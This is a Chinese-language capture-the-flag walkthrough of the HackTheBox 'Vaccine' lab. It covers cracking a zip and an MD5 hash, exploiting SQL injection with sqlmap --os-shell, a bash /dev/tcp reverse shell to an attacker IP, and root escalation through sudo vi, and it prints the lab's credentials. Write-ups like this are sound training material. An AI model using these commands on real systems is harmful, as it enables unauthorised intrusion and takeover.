- 难度 : Very Easy
- 靶场 : HackTheBox [Vaccine]
- 类型 : 综合渗透
GetShell
扫描端口,发现开放了 21 FTP
、 22 SSH
和 80 HTTP
服务。
先访问 FTP ,匿名用户 Anonymous 可以下载到一个 backup.zip
。但是 zip 是加密后的,需要破解密码。使用 fcrackzip 可以直接破解,也可以先提权 hash 然后再用 hashcat 破解。
brew install fcrackzip
fcrackzip -D -p top1000.txt backup.zip
成功破解出密码 741852963
,打开压缩包,发现里面有网站源码,其中有用户名和 MD5 加密后的密码 2cb42f8734ea607eefed3b70af13bbd3
,拿到 CMD5 里面去查一下,发现密码为 qwerty789
。
访问网站,使用刚刚查出的账号密码登录成功,发现存在一处 SQL 注入 : http://10.129.95.174/dashboard.php?search=a
。
丢到 sqlmap 中可以直接拿到 shell 。
sqlmap -u http://10.129.95.174/dashboard.php?search=a --cookie="PHPSESSID=79gpf5gqu90fnsjld3okq61vgd" --os-shell
本地开启 nc 监听一个端口。
nc -vl 9443
在 sqlmap 的 os-shell 中执行命令反弹 shell 。
bash -c "bash -i >& /dev/tcp/10.10.14.128/9443 0>&1"
成功获取到用户 postgres 的 shell 。
提权
此时虽然获取到 shell 了,但是并不知道用户 postgres 的密码,所以不能 sudo -l
查询当前用户的特权命令。
查询网站配置文件 cat /var/www/html/dashboard.php
可以找到 postgres 数据库的连接语句。
$conn = pg_connect("host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!");
用此账号密码登录 SSH 发现登录成功,执行 sudo -l
发现存在一个特权命令。
/bin/vi /etc/postgresql/11/main/pg_hba.conf
参考 GTFOBins 的提权手册,发现 vi
可以直接提权。
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
:set shell=/bin/sh
:shell
直接进入到 root 的 shell 里面了,可以获取到 root 的 flag 。
cat /var/lib/postgresql/user.txt
cat /root/root.txt
评论